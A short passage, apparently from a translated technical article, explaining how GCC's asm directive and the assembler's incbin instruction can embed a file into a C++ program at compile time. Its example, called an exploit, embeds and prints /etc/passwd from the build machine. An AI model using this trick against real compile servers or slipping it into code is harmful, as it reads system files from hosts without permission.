asm
directive to call GAS, which has a great incbin
instruction . With its help at the compilation stage, you can include the file as data. Then the exploit for C ++ looks like this: #include <stdio.h> extern "C" asm( ".global _data\n" ".data\n" "_data:\n" ".incbin \"/etc/passwd\"\n" ".byte 0" ); extern const char _data; const char* data = &_data; int main() { printf("%s", data); }
Source: https://habr.com/ru/post/183976/
All Articles